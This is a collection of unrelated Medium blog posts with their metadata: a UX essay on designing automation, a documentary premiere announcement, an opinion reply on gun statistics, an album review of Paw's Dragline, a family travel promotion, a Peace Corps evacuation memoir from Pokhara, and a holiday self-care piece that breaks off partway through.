When a user looks at a website, they usually have previous experience from visiting other websites. That makes the website easier to understand, because they roughly know what to expect. We call this external consistency.
However, automation is not as widespread yet. As an example, think of an automated home-device, such as Google Home or Alexa. When you ask the device a question, how does it actually work?
For instance, Google Home seems to work by looking up information on the internet. However, it does not seem able to integrate information in a meaningful way, the same way a normal google search does.
For example, if I do a computer google search for “Viking FK”, my beloved local football team, google gives me news, fixtures, table standings. Google Home, on the other hand, will read me the first paragraph of their Wikipedia article, telling me about when the club was formed.
If you understand how the system works, you can phrase your question accordingly. This makes it more likely that the device will be able to help you. If not, you might go through several frustrating, failed attempts.
With this particular issue, human-centric design also comes into play, as a user should not have to adapt to technology.
For now, though, designers must be very clever. An automatic system may not even have a screen, yet it must still contain enough signifiers to create transparency.
Otherwise, users do not know what to expect from their automated system. Which brings us onto our next topic.
2. Predictability — Understandable and predictable output
Related to transparency, we must also ensure that users can predict what the automatic system will do. That is quite difficult at times, though, and this is a principle even the biggest companies struggle to implement.
Let’s use Spotify’s “Discover Weekly” as an example.
“Discover Weekly” is a playlist of music, automatically created by Spotify, customised to the specific user. The playlist contains music the user might like, but have not listened to yet. It does this by comparing users with overlapping tastes in music, and suggests songs which the other user has not listened to yet. It is a brilliant idea!
However, in my personal “Discover Weekly”, I am mostly given a strange mix of old Scandinavian folk and country music. Strangely enough, that is not really my kind of music. This renders “Discover Weekly” a bit useless for me.
Printscreen from my “Discover Weekly” in Spotify.
Why Spotify suggests this music, I am unsure of. I have a theory based on my own mental model (which might be wrong); I am guessing that Spotify emphasises matching music to my native language (Norwegian) above my preferred genres.
If that is the case, the issue could have been resolved by letting me set rough filters, like prioritizing genres over language. Instead, the only option Spotify provides me for adapting the algorithm is to manually go through the list, disliking each song/artist individually. That is repetitive work better done by a machine.
In this case, I can make a fair guess about how the system works, without being able to resolve the issue. Therefore, a transparent system is not enough, it must also be predictable. In addition, it must allow for users to make adaptations.
3. Adaptability — Let your user make changes
Let’s say you want to send a text message to your buddy Jim about leaving work early to catch the game. Your phone replies “okay, sending message to Tim”, your boss. Oh no, is it about to send the message? Quick, how do I override it?
Automation can be a great feature, but it can also be a massive annoyance. Most of all, it is affected by something called brittleness. Automation rarely fails, it does what it is programmed to do. However, if something is wrong with the input information (Jim vs Tim, for instance), it will perform the wrong action.
Keep in mind that your users are quite smart people. You do not automate functions because they are unable to do them, but rather so they do not have to do them.
Automation should make your customers relax. However, if they are unsure if their automated product will act correctly, their life is not made any easier. Instead, they might be anxious about using the product, and end up doing the task manually instead.
Therefore, be mindful of what and how you automate. Is there a function which is hard to automate perfectly? Let the user solve it manually, or use automation to give them some options. The name of the game is “level of automation”.
4. Level of Automation — Choosing the right one
Often when we speak of automation, we treat it as a unified concept. However, automation should be treated as a range, going from low-level automation all the way up to full automation.
The taxonomy of automation was published by Raja Parasuraman (2000). He argued that by selecting the best fit, we can maximize the benefits and minimize the disadvantages of automation. He divides automation into four functions:
Information acquisition: Sensing and registering input data. Information analysis: Allows for prediction of data, and the integration of information into a single parameter. Decisions and action selection: Creates a hypothesis of the problem, presents options for how to solve it and highlights the best option. Action implementation: Automation selects the action without human intervention and does the action.
That might seem a bit abstract. Let us take a SatNav/car GPS as an example:
Information acquisition: Your SatNav register the number of cars on the road. Information analysis: Your SatNav takes a few pieces of data (cars on the road, time of day, weather conditions) and calculates your estimated time of arrival. Decisions and action selection: You enter a destination. The SatNav calculates different possible routes and presents you with some alternatives, highlighting the route it thinks is best. Action implementation: You enter the destination, and the SatNav gives you a route.
Next time you design automation, take a moment to consider if it actually needs to be fully automated (“Action implementation”)? Would it perhaps suffice to simply provide the users with choices (“Decisions and action selection”)?
I will admit, it looks quite cool when someone is presenting a fully automated system at a technology conference. However, that does not necessarily equal good user experience if the product makes bad choices for users.
By making the right choice at the level of automation, you avoid your users feeling like they are “fighting against the system”. As an example, have a look at this Norwegian commercial.
Rema 1000 (2018). “Smarthus”. Available at https://www.youtube.com/watch?v=sgJLpuprQp8
The commercial was created by a grocery store chain, which slogan is “the simple option is often the best option”. That is a good message to keep in the back of your head as you design automation.
|
https://uxdesign.cc/4-principles-for-designing-automation-with-great-user-experience-c425878c4f64
|
['Lars Berntzen Arholm']
|
2020-06-16 11:44:09.793000+00:00
|
['Automation', 'Innovation', 'User Experience', 'Technology', 'Design']
|
Firelight 2020 Year in Review: Film Premieres
|
2020 was an extraordinarily challenging year, between the dual crises of the global pandemic and the national reckoning with questions of racial justice in the U.S. As film festivals and film campaigns were forced to rapidly adapt their plans, our community displayed incredible resilience and ingenuity to ensure that their films reached their intended audiences.
Despite all of these many challenges, the Firelight Media and Firelight Films community managed to premiere a vast array of new documentary work — 32 titles and counting.
We surveyed our community of filmmakers — comprising current fellows and alumni of our Documentary Lab, recipients of our inaugural William Greaves Fund and Impact Campaign Fund, alumni of our Impact Producer Fellowship and FRONTLINE/Firelight Fellowship, as well as crew members from recent Firelight Films titles—to collect new works released this year. Below is an updating list of 2020 film premieres.
Congratulations to the Firelight family on all of this great work!
|
https://medium.com/@firelightmedia/firelight-2020-year-in-review-film-premieres-27a158c0e954
|
['Firelight Media']
|
2020-12-22 21:58:11.024000+00:00
|
['Documentary Film', 'Firelight Media', 'Filmmaking', 'Documentary', 'Bipoc']
|
As Mr. Chisholm has pointed out in his comments, there are numerous failures of fact in this…
|
As Mr. Chisholm has pointed out in his comments, there are numerous failures of fact in this article.
First: The Second Amendment not only protects an individual’s right to possess weapons, it also protects an individual’s right to bear weapons. This is something that the state of Hawaii learned last year when the Court of Appeals for the Ninth Judicial District ruled against it in the case of Young v. Hawaii.
In Hawaii, the only way to legally carry a gun is with a state-issued permit. The state decided it would no longer issue those permits, thus creating a de facto ban on carrying guns in the state.
The court ruled that Hawaii’s action was unconstitutional on the grounds that it prohibits infringement on the people’s right to bear arms.
Second: Assault rifles are not banned in the U.S. and never have been. Even the one that really are assault rifles. Assault rifles are defined as compact, selective-fire rifle chamber for a cartridge intermediate between a submachine gun and a battle rifle. A private citizen can legally possess an M16 as long as it was manufactured and registered before May 19, 1986, the effective date of the Firearm Owners Protection Act. Sales of such firearms have been heavily regulated since 1934, but they have not been banned.
Third: The Gun Violence Archive is very good at producing scary numbers but their stats don’t stand up well when one examines the details.
The “mass shootings” included in the 1,624 figure cited in the article include incidents like one in Sand City, California. Two wanted fugitives were spotted in a retail shopping center parking lot; police were alerted and two officers responded. When the officers approached the fugitives’ car, the felons opened fire, wounding the police. The officers, though wounded, returned fire and killed both offenders. Four casualties; firearms discharged and, Bingo! Another mass shooting for the Gun Violence Archive.
The events listed in the Gun Violence Archive database include gang-related shootings, familicides (murders of family members followed by the suicide of the killer) and cases of multiple, targeted homicides, none of which are considered mass shooting events by government officials.
In terms of what is more correctly termed a mass shooting or spree killing, there have been 134 since January 1, 1964 to February 15, 2019.
Moreover, as one can see by looking at the chart below, you will find that gun laws have no impact on the frequency or casualty rate and do not support a case for increased restrictions on firearms and firearm owners .
The chart was compiled from the 340 mass shooting incidents recorded by the Gun Violence Archive from January 1 to December 31, 2018 and U.S. Census Bureau estimates of each state’s population as of July 1, 2018.
California and Illinois tied for the most mass shooting incidents. California had the most homicides while Illinois had the most injuries. California received the high grade of any state from the Giffords Law Center to Prevent Gun Violence (which shows just what a swell job they’re doing). Illinois also received high marks.
When it comes to the most notorious mass shootings, where there were three or more fatalities, not including the shooter, there were 101 between February 28, 1994 (the date the Brady Act became effective) and February 15, 2019. Of that total, the source of the weapons used was reported in 89 incidents. In more than 76% of those the source was a legal retail purchase from a federally licensed dealer that included a mandatory criminal background check.
I have always been puzzled by people who call for meaningful reform but push meaningless changes.
The cynic in me wonders if the most recent event, the murders of five people at a warehouse in Aurora, Illinois, isn’t a bit embarrassing for gun control advocates, particularly those pushing the universal background check measures, because the Illinois State Police had issued the killer a firearm owners identification card despite the fact he had a prior felony conviction for domestic violence. The card allowed him to purchase the .40-caliber Smith & Wesson pistol he used in the killings.
Of the incidents from 2017, 2018 and thus far in 2019, where the source of the guns used was reported, 80% were legally purchased by the shooter from a retailer that performed the required background check.
Gun control advocates have created a boogeyman with the so-called assault weapons. In fact, there is no such thing as an assault weapon; the term was coined to make military rifles sound more scary. They are fond of making endless hyperbolic claims about the lethality and firepower of what is, in reality, a semi-automatic rifle chambered for a cartridge that isn’t really all that powerful compared to other common rifle calibers.
The Army selected the .223 cartridge because it was adequately powerful while being cheaper to acquire and lighter. This meant soldiers could carry roughly twice as many of the new cartridge as they could of the previous .308 round.
Functionally, an AR-15 is the same as the Remington Model 8 introduced in 1911 and marketed to American hunters. The Model 8 was the first American semi-automatic rifle that used a detachable magazine and magazines were available with capacities up to 20 rounds.
The original Assault Weapons Ban was allowed to expire because it could not be shown to have had an impact on violent crime. In fact, the average rate of rifle use in homicides was actually lower in the ten years following the end of the ban than it was during the ten years the ban was in effect.
Despite their origins a thousand years ago as military weapons in China, firearms are used for a variety of non-criminal purposes that are apparently beyond the author’s comprehension. I find it rather amusing that the author omitted kitchen knives from the comparison. Considering that the author is quite familiar with the United Kingdom, surely they know that kitchen knives are the most commonly used cutting or stabbing instrument involved in Britain’s growing violence problems.
In short, the thesis of the article is supported by popular memes that do not stand up under closer examination. Further, they reveal that the author did not actually perform such an examination, preferring to rely on the big lies that have been accepted as truths due to their relentless repetition.
Of all such lies, perhaps the biggest is that there has been a significant increase in gun violence in recent years.
In a NPR/PBS Newshour Marist poll of 880 individuals conducted from February 5 through 11, there was the expected strong support for popular gun control measures.
What was interesting about the results of the poll was the response to the final question, which asked participants if, based on what they had seen or heard, had the rate of gun murders risen, stayed the same or fallen over the past 25 years.
82% of those polled felt the rate had increased significantly or remained about the same.
Since the most recent government figures available are for 2017, this question would cover the period from 1993 to 2017, including both years in the span.
The reality is that the firearm-related homicide rate has fallen more than 36% in that period. In 2014, the gun murder rate dropped to a level not seen in the U.S. since 1958.
Articles like this merely promote the big lie and serve no useful purpose in a rational discussion of the rise in random killings in the U.S.
|
https://medium.com/@billcawthon/as-mr-chisholm-has-pointed-out-in-his-comments-there-are-numerous-failures-of-fact-in-this-9512051b5cd0
|
['William Connell Cawthon Jr.']
|
2019-02-25 08:44:07.900000+00:00
|
['Guns', 'Gun Control', 'Mass Shootings', 'Propaganda', 'Gun Control Fails']
|
Retro-review: ‘Dragline’ by Paw
|
Paw was one of those bands that should have broke through to the mainstream but never did.
It’s hard to figure out why they didn’t, especially after one hears their 1993 album Dragline.
The music on Dragline is not easy to classify. You could call it grunge or metal.
Considering they’re from Lawrence, Kansas, you could maybe call them “Heartland Grunge.”
Paw were in a lot of ways like a rural Pearl Jam. Like Pearl Jam, a good part of their appeal were their lyrics. Their songs were like short stories told from a first person point of view. Kind of like little slices of life. Whether it be about a dog or a teenage boy’s preference between two of Archie Comics’ female leads. No matter the topic, Paw’s songs carried an emotional resonance which lifted them a head above the countless other grunge-era bands out there in the early-to-mid 1990s.
But, the lyrics are only half the formula when it comes to songs.
Lucky for the listener, Paw’s music matches the emotional power of the lyrics. The music doesn’t only increase the impact, but motivates repeated listens and creates memorable tunes that stick with the listener long afterward.
Paw’s lineup on Dragline is led by vocalist Mark Hennessy, whose vocals are front and center on the album. Hennessy isn’t what I’d really call a “singer.” That’s not a bad thing though. His voice ranges from a gravelly rasp to a melancholic roar chock full of emotional power that hits harder than Eddie Vedder’s — in my opinion at least. Hennessy does what a front man should do, build upon the foundation set by the instruments and demands the audience’s attention.
The rest of Paw doesn’t slouch either, particularly guitarist Grant Fitch whose riffs rely less on aural assaults as they do supplying gut punches that complement Hennessy’s vocal barrage.
Bassist Charles Bryan and drummer Peter Fitch don’t bother trying to match Hennessy or Fitch, nor should they. Self-indulgent bass and drum solos that always seemed obligatory to many other heavy albums at the time just wouldn’t fit in on Dragline. That isn’t to say they don’t have their standout moments, they’re just sprinkled throughout and don’t stand out from the songs themselves.
All in all, you have a band that clicks. That’s why Dragline is probably the best grunge album you never bought back in the 90s.
The album
It’s very difficult picking standouts for Dragline. Most of these songs could stand on their own and be a single. So, I’m just going to touch on the few individual ones I tend to seek out just to listen to.
Draglinekicks off with the appropriately titled “Gasoline.” This song kicks things off like setting a match to some spilled petrol. It’s both aggressive and subdued, showcasing Paw’s ability to change tempo and shift from heavy grinds to light melodies seamlessly. It does the job of what I think a first track should do, gives you a taste of what’s to come and makes you want to hear more.
This aggressive-subdued dichotomy is prevalent throughout the album, especially the second track “Sleeping Bag.”
Of course, the track that stands out above all the others is that song about a dog — “Jessie.” Now, everyone has heard some variation of country music trope that all the songs are about getting drunk, your wife leaving you or your dog dying. Well, “Jessie” is sort of along those lines, though I’m not sure the dog is dying as much as being left at home by his owner. One thing it is, though, is the song that made me go out and buy this album. It’s the heaviest song on the album, and in my opinion the best. It tempers its heaviness with some steel guitar, which gives it a country twang, toward the end. It’s just awesome and should’ve been the title track.
As for the title song, “Dragline,” it’s a great song on its own, but it’s just not as unique as “Jessie.” That’s not detracting from it though. The band definitely pushes their boundaries here, starting with a chest-shredding riff and eventually building to an acoustic guitar, which goes back and forth with some heavy distortion.
Another favorite of mine is the song “Veronica.” “Veronica” is about the classic conundrum that all boys, and some girls, who’ve read Archie comics have been faced with: tomboy Betty or rich girl Veronica. This song is about a guy who goes with Veronica. I’m actually surprised the album didn’t get an “explicit lyrics” sticker for this song. But, I guess those are only reserved for albums that use some of those bad words. Musically, it’s a standout too, having sort of that “alternative” guitar sound throughout and is pretty restrained compared to many of the other songs.
Other standouts include “The Bridge,” a song you’ll find on video game soundtracks. It’s mostly fast pace throughout until the end and makes good use of guitar tone, which makes you want to hum along with it. “Hard Pig” ends the album on a pretty heavy note, with Bryan’s bass hitting the notes and pushing things along.
The verdict
Would I buy this album again?
Hell yeah. Like I said, this is one of the few albums were pretty much all the songs could stand out on their own. There is no filler here.
Draglineis what you get when you have a band that cares about the quality of their music instead of churning out hits. Unfortunately, Paw never had any hits that broke through to the mainstream and would break up less than a decade later.
But, at least they left us Dragline. It’s one of those albums that everyone who loves rock, metal or grunge should listen to. I promise, you won’t regret it, especially when you’re singing “Jessie” on your way to work in the car … or the shower.
Want more Retro-Reviews? Check out ZoomBubba.com or follow me on Facebook or Twitter.
|
https://medium.com/earbusters/retro-review-dragline-by-paw-44b8a0d92f51
|
['Joseph R. Price']
|
2018-09-25 18:24:52.636000+00:00
|
['Kansas', 'Music Review', 'Grunge', 'Music', 'Heavy Metal']
|
Ma, Where’s My Bucket Of Kentucky?
|
It’s such a cliche, longing for the simpler days during times of uncertainty. But here I am, craving for a retro birthday menu I once whined about as a kid who was always asking — “Where’s my bucket of Kentucky?”
|
https://limweelingloveswords.medium.com/ma-wheres-my-bucket-of-kentucky-7a50b271d81e
|
['Lim Wee Ling']
|
2020-05-20 16:36:51.226000+00:00
|
['Food', 'Drawing', 'Comics', 'Memoir', 'Life']
|
IT — How to learn a new topic. If you are working in IT sector and…
|
If you are working in IT sector and going to learn any new topic, try to follow the following steps:
What? what are you going to study? Google it and understand in brief. Why? Why does this topic even exist? What was the need that it was designed? Problem solved through this topic: What was the problem which was required to be solved and, what was the baseline or the thinking behind the topic. Improvements that were made: What are the benefits of the solution? Make sure you get the gist in which sector will it help you out.
Consider you are using SQL database now someone came and designed NO-SQL database. Now, the No-SQL database is designed and focused on a few problems, not all problems. What are the problems it has solved and what the performance boost you will get using it? Halt and design it yourself: Imagine you are in the shoes of the problem solver DIY. See the design of the topic that you are going to read and compare. Finally, when you have learned, check its shortcomings. What are you going to lose and the exact situations where you are not going to use it.
If everything matches right:
You will never forget this as you have spent quality time in solving the problem. Your designing and problem-solving skills will be polished as you go on. You will mostly know the shortcomings and many corner cases of the topic even if they are not mentioned. If you go on for some time, you will encounter yourself sitting at a point where everything seems to fall under a category. As if the whole community tries to solve everything only in certain few ways.
If Nothing matches:
|
https://medium.com/@anshum/it-how-to-learn-a-new-topic-cd6fe9db0f0c
|
['Anshum Gupta']
|
2019-06-17 08:36:48.476000+00:00
|
['Topics', 'It', 'Sql', 'Learn']
|
In a nutshell: Elisa Bailey
|
Can you share a few highlights from your career?
I don’t view a career as a linear progression so much as a collection of exciting and interesting experiences and projects. I have loved nearly all my roles and, even if I have sometimes put in 90 hours a week, I don’t feel like I have truly ‘worked’ a single day. It sounds like a cliché, but I say this with sincere gratitude to all my employers and colleagues.
‘You Say You Want a Revolution?’ exhibition in Milan during its world tour
My time at the V&A was a highlight as I was in the Theatre and Performance Department; the most creative, energetic team I have ever known, under the directorship of the man who has had the greatest impact on me professionally of anyone in my life. As Assistant Curator on the exhibition ‘You Say You Want a Revolution?’ I got to meet some incredibly important personalities from those times, and as Curator at the BFI I loved putting together my own exhibitions, initiating a Refugee Week project and caring for an incredible poster and design collection.
Most recently I was based in Muscat, Oman, preparing Content and Interpretation for a new multi-media mega-museum commissioned by the Sultan!
The building site of the museum in Oman
The perks of working in museums are certainly not the pay or hours. Instead you form wonderful friendships and share team leisure experiences, and sometimes you’re the only person left inside a beautiful, world-famous institution at night, long after the public has left.
Did you ever want to work in a different sector when you were younger? If so, what did you think you’d be doing?
There were two career dreams I had as a child: to ‘be’ Julie Andrews (!) and to be an artist. I grew up spending a lot of time drawing and painting, initially beside my grandfather, an artist and craftsman, and my uncle, who had the most incredible imagination of any grown-up I’ve met.
Elisa and her first artwork, surrounded by her uncle, grandfather and dad
I soon realised I probably didn’t have the patience, drive and warrior spirit that an artist usually needs to be able to survive off their work, and now drawing is a hobby that I admonish myself for not finding time for.
Tell us more about your role as Programme Designer and Manager at Benefactor Consultants.
‘Mademoiselle Kitty’
My current role is a dream job in that it mixes the things I love best: travel, meeting people, art and museums. From our beautiful offices — which come with a 17th century wine cellar and the most seductive cat I have ever seen — in a medieval walled town in Burgundy, we plan cultural trips for the patrons of many of America’s greatest museums and institutions.
The decision for where a group should go takes into consideration the client’s interests in particular collections alongside our advice on which destinations might be particularly fitting at the preferred time of the trip, from the cultural programming on offer down to predicted weather conditions. The individual trip manager is chosen based on appropriate language skills and familiarity with each destination, as aside from designing the programme (visits, hotels, restaurants and activities), we also accompany the group on every element of it to ensure that everything goes smoothly from the moment the clients land.
Elisa and one of her best friends inside the crumbling Socialist building Buzludzha, on a peak in the central Bulgarian mountains. Beautiful but damaged mosaics telling the story of Bulgarian Communism circle the auditorium.
What is your personal idea of a perfect holiday?
I actually travel more than I spend at home now with over a hundred flights and long-distance bus and train journeys taken on some 70 trips since the beginning of 2018 for both work and pleasure (I try to offset my travel by recycling obsessively, but I know it will never be enough). I am incredibly lucky to have a saintly portable boyfriend, who has his own company and lots of airmiles, so my perfect holiday is anywhere with him or with good friends.
What are your interests outside of work?
Outside of work my main passions are my socio-political graphics collection, travel and looking at lampposts (sometimes while travelling)! The latter is in the name of spotting socio-political stickers, posters, graffiti or any other commentary, which I photograph — never remove (they are the property of the people) — and share on my Instagram account. Now that I live in France, I should also admit that a great deal of my spare time is spent consuming wine and cheese, too.
|
https://medium.com/@stjohnscamalumni/in-a-nutshell-elisa-bailey-74b11d72638d
|
['St John S College', 'Cambridge', 'Alumni Blog']
|
2019-11-15 13:55:34.971000+00:00
|
['Travel', 'Museums', 'Career Advice', 'Culture', 'Art']
|
5 INCREDIBLE TODDLER VACATION DESTINATIONS YOUR FAMILY WILL ACTUALLY ENJOY
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by Anja Phillips | Blog, Latin America | 1 comment
Just because you’ve settled down and had kids doesn’t mean your adventuring days are over. Family vacations introduce kids to the inner workings of other cultures through language, sports, crafts, and time with experts that bring what they’ve learned in school into real life. Whether you’re lie-on-a-beach-with-a-coconut people or adventure junkies, there are incredible toddler vacation destinations that are only a few flight hours away to indulge your personal idea of a tropical family vacation.
Here are our Top 5 of the best toddler vacation destinations — see the map below for locations:
1. Riviera Maya, MEXICO
Mexico is one of the best countries in the world to travel with children. The culture is very family-oriented and people will welcome your children pretty much everywhere. There are also many attractions that are designed with families in mind.
The Riviera Maya is a natural choice for best toddler vacation destinations. The beaches are idyllic but there are also nature parks, cenotes, and archaeological sites to explore. The Riviera Maya runs along the Caribbean coastline of the state of Quintana Roo. South of the Riviera Maya, you’ll find the Costa Maya, an even more secluded and pristine area. Don’t confuse the Mayan Riviera with the Mexican Riviera, which is the name given to Mexico’s Pacific coastline.
There are many family-friendly resorts in the Riviera Maya. With kids’ clubs to keep the kids occupied, parents can use their leisure time at the beach or pool-side, or book a treatment at the spa.
Beach-loving families will be happy to spend most of their time enjoying the sun, sand, and sea; building sandcastles, collecting shells and playing in the waves can keep little kids happy for many hours, but the Riviera Maya also has tons to do off the beach. There are archaeological sites to explore, cenotes to cool off in, and many parks, such as Xcaret, where you can learn about the nature and culture of the area.
2. San Ignacio, BELIZE
What is surprising about Belize is the cultural diversity of such a small country with a tiny population. Mayans, Creole, Mestizos, and Garinagu being the most common of groups and they all live in harmony, respect, and embrace each other’s cultural differences.
Once a British colony and known as British Honduras, the first language is English. That makes things such as navigating maps and chatting with locals very easy.
A couple of hours west of Belize City is the quaint town of San Ignacio. It’s a colorful little place with lots going on. It is a great base for budget-friendly tropical adventure travel and definitely one of the best toddler vacation destinations in Central America.
Toddler-friendly activities include
Chocolate-making: Learn how to turn raw cacao beans into drinking chocolate. Kids are allowed to grind the beans and sample just about everything and of course you get to drink the warm chocolate at the end.
Maya Ruins: The easiest and most accessible are only a few minutes away and can easily be reached by taxi. The Cahal Pech ruins are one of the smaller Maya sites and are perfect to explore for toddlers. There’s lots of vegetation so shade is available too.
Iguana Sanctuary: Inside the San Ignacio Hotel, there is a conservation project underway to protect one of the country’s beloved creatures, the iguana. You will learn about their protection measures and might even get the chance to feed them! Your toddlers will surely love this!
Chaa Creek is a wonderful resort that is located about half an hour from San Ignacio. It’s an award-winning Belize Jungle Resort, located in the heart of the Maya civilization. Here, adventure abounds within the rainforest reserve. Whether you decide to stay or just visit, there is plenty for everyone to do, especially with kids: With hiking, horseback riding and canoeing, as well as guided nature walks and river exploration included in on-site activities, there are plenty of choices to excite every member of the family. There’s even a Butterfly farm. Kids up to 18 years stay for free!
3. Tamarindo, COSTA RICA
Costa Rica is a great country to travel to if you’re bringing little ones. It is safe, warm, and connected enough to the first world that you can enjoy the differences.
Tamarindo is one of the best toddler vacation destinations, located in the Guanacaste province, which attracts many visitors year-round. It is undoubtedly an ideal destination for those visitors traveling with toddlers. It has a huge variety of accommodation services, from basic to more luxurious. Many of the hotels are located just a few steps from the beach. In the town center, you find all necessary services such as pharmacies and supermarkets, where you can buy everything you need from sun lotion to after-bug-bite cream, Tylenol, diapers, or beach toys.
And “Ticos” are super friendly and love kids. Many restaurants will have a kid’s menu and will be happy to accommodate any special baby food needs.
While there are countless activities for older kids and grown-ups such as surfing, boogie boarding, zip-lining, there are options for the very little ones as well. The southern end of the bay is the most kid-friendly stretch of the beach, well protected from the wind, has the smallest waves, and the least currents. There is a boutique hotel located right here that would be an awesome choice for a family with toddlers.
Other toddler-friendly activities include: visiting the local farmer’s & crafts market (Sat mornings) or the night market (Thursdays), enjoying walks on the long beach, playing mini-golf, or participating in turtle nesting tours in Las Baulas Marine Park. Or you could just while away the time people-watching and enjoying a pipa (coconut) or cocktail at one of the many beach bars.
Samara is also located in Guanacaste province. It has calmer waters but not a lot of tourist infrastructures. Most hotels are more basic and are not as conveniently located at the beach. But if you are looking for a more off-the-beaten-track experience and don’t mind roughing it a bit, this is another awesome place to go with your little ones.
Life in both Tamarindo and Samara is very laid-back, so go and have a great time.
4. Isla Palenque, PANAMA
For adventurous families, traveling to Panama with kids is an unforgettable experience. From jungle hikes to whale-watching tours and sailing trips among Caribbean islands, there are countless ways to explore the natural wonders of this country. Panama is still widely unexplored and therefore an excellent destination for off-the-beaten-path adventure and undisturbed relaxation for the whole family. For families with toddlers, we have the best toddler vacation destination: Isla Palenque.
Isla Palenque is located near Boca Chica and can be easily reached from Panama City via a short domestic flight to David and a car/boat transfer from there.
The Resort of Isla Palenque has really mastered the art of a family tropical island adventure. There are 400 acres of private island and jungle to discover. The waters are safe and gentle — perfect even for the little ones. The beaches are long, ideal for walks and to collect rocks. While on Isla Palenque you are sure to see and hear howler monkeys, exotic birds, and the sounds of the sea. Daybeds and hammocks are perfect for the whole family to relax in while the Casitas offer all amenities. Designed with indoor-outdoor living in mind, families have all the extravagances they’d expect from a luxury hotel. Babysitting services and cribs are also available. The chefs are happy to prepare special baby and toddler food. And, Panamanians love children! Are you a nature lover that wants to stay in a luxurious place? Then make sure to put Panama and Isla Palenque on your bucket list!
Other awesome toddler vacation destinations in Panama include the Caribbean islands of Bocas del Toro and San Blas (Guna Yala).
5. Grace Bay, TURKS & CAICOS
The paradise of 40 islands that make up Turks & Caicos sits in the middle of the Caribbean. Here you will not find theme parks but beautiful sandy beaches and endless summer sun — a perfect getaway for families with small children. It has a dry, tropical climate with year-round sunshine and temperatures between 70–75 (Dec/Jan) and 90*F (July).
The holiday capital of Turks and Caicos, Providenciales, is the place for big beaches and luxurious family resorts. Many of them are located right at the beach, making it easy for families with small kids. Some resorts are either all-inclusive or have kitchens for self-catering or making toddler food.
Grace Bay is officially the world’s best beach and you’ll find it on Providenciales, also called Provo. With three national parks, several marine and nature reserves, miles of coast, and a laid-back atmosphere, it’s the perfect island for young kids. Toddlers can try all sorts of water sports for the first time in safe, calm waters. But there is also island hopping, iguana watching, or just exploring — very little is off-limits to kids. What else could you wish for in a toddler vacation destination?
The islands can easily be reached with short flights from many major US cities. English is the official language and the US Dollar is the common currency.
Should this short article have raised your curiosity to venture out into the whole wide world with your family — and we most certainly hope so -, we’d love to help you to organize your next amazing family vacation.
Our personalized service guarantees that your next family vacation to any of our tropical destinations will be unique, enjoyable, and trouble-free! Our family vacation packages cater to your family’s interests, size, ages, and budget. And all our tours can be customized to your family’s needs! Make sure to check out our Family Vacations!
Do you have any questions or comments? Know other best toddler vacation destinations? Let us know in the comments or get in touch with us.
Are you looking to get a free quote for an amazing tropical family vacation?
Get in touch with us today.
Contact
[email protected]
www.TropiQTrips.com
Ph.: (540) 208-8848
|
https://medium.com/@tropiqtrips/5-incredible-toddler-vacation-destinations-your-family-will-actually-enjoy-e563921f387f
|
['Tropiq Trips']
|
2020-06-23 17:16:38.076000+00:00
|
['Family Travel', 'Vacation', 'Toddlers', 'Family Vacation']
|
Dear Pokhara, You Were Almost Home
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Six weeks into my time in Nepal, my cohort and I traveled to Pokhara. We were going to meet our permanent host families the next day when we traveled to our permanent sites. We spent the night eating at a restaurant that overlooked Phewa Lake, into which the Himalayas reflected their divinity.
That night, we walked past shop after shop hocking gaudy goods for tourists, completely uncertain of what would happen next. We were excited to meet our families but anxious that covid-19 Might cause a full-scale evacuation.
The whole time, the Himalayas smiled down on us. No matter where you are in Pokhara, the Himalayas demand your attention. They stand on the edges, protecting themselves, warning those who would build “here you can go no further.” We headed back to the hotel after a long walk and went to bed, nervous and excited for the future.
The next morning, as we were getting ready to visit our sites, we received the news. All of the Peace Corps posts were evacuating worldwide. We would not be allowed to serve. We were going to be sent home.
Home. That word has been a shifting, ever-evolving concept for me. I’ve been a vagabond for years, never fully letting myself fall for a place or a person. I went to Nepal seeking community, hoping to finally find something like a home, to let myself fall for a place.
Before I ever set foot in Nepal, I knew that I would end up getting “घर” tattooed on my body. It was beautifully symmetrical.
The day we found out we were getting evacuated, my cohorts and I took a hike to “World Peace Pagoda” (picture above), a stupa on a hill that overlooks Pokhara and Annapurna. We circled this stupa and grieved our loss.
The certainty of our futures had stretched before us for two years, and now it was being yanked away from us. We stood on the precipice of being evacuated into the world’s biggest covid-19 outbreak, unemployed. We walked around it, afraid. We meditated, cried, and held each other. The world had become so uncertain.
Then I heard the message. As I looked out over the city to the Himalayas beyond, I listened to what the mountains were trying to tell me:
“We were here before this city,” they said. We’ll be here after it. We’ve seen plagues, wars, and kings come and go. This? This is nothing. Your life will go on.”
Pokhara would have been our home base. We would have met there for holidays, gatherings, and birthdays. But it was not to be. Life had other plans for us.
We spent a few days in Kathmandu before the final evacuation. I knew that it would be a long time before I felt at home. The world was going to be unrecognizable for a long time. I got the tattoo anyway.
Home is what we make it.
|
https://medium.com/show-your-city/dear-pokhara-you-were-almost-my-home-c11db4044ce8
|
['Aaron Nichols']
|
2020-12-14 14:59:38.696000+00:00
|
['Happiness', 'Perspective', 'Travel', 'Show Your City', 'Mindfulness']
|
To understand behaviour shifts and optimize content, SEO is now mission critical
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To understand behaviour shifts and optimize content, SEO is now mission critical Duncan Carter ·Nov 27, 2020
To understand behaviour shifts and optimize content, SEO is now mission critical https://econsultancy.com/seo-is-now-mission-critical-consumer-behaviour-shift/
|
https://blog.duncanjcarter.co.uk/to-understand-behaviour-shifts-and-optimize-content-seo-is-now-mission-critical-2b6d868c2234
|
['Duncan Carter']
|
2020-11-27 18:35:07.289000+00:00
|
['Marketing', 'SEO', 'Recruitment', 'Digital Marketing', 'Recruitmentmarketing']
|
Creative Ways to Navigate the 2020 Holidays
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I think we can all agree, 2020 has been tough. The seasonal “Merry Christmas” or “Happy Holidays” wishes seem to ring hollow, and for many the sentiments are difficult to embrace. Instead of a month of nonstop parties with friends and family, this year the holidays feel slower, filled with time to reflect on past Christmases and opportunities to create alternative ways to connect. The season is about sharing love with one another, and no matter who you have to share yours with this year, remember to share it with yourself. Take these quiet moments to be kind to you. It will be the best present you will receive-guaranteed.
Do the next best right thing — Kathy LeMay, founder, president, and CEO of Raising Change says that we should take one task on our to-do list and focus on it. Don’t rush. Don’t speed through it. Breathe. Write that personal email to someone you haven’t connected with in awhile. Take a few minutes to cut the article out of the paper. Slow down. Don’t speed up. Take your time with each correspondence, activity, and phone call. You will be more creative. You’ll feel more relaxed, and suddenly you’ll find yourself enjoying year-end activities.
Keep it simple — Stress levels can increase dramatically this time of year, especially if you have too much on your plate. Make sure you’re not setting unrealistic expectations for yourself. Remember, everything doesn’t have to be perfect, and you don’t have to do everything yourself.
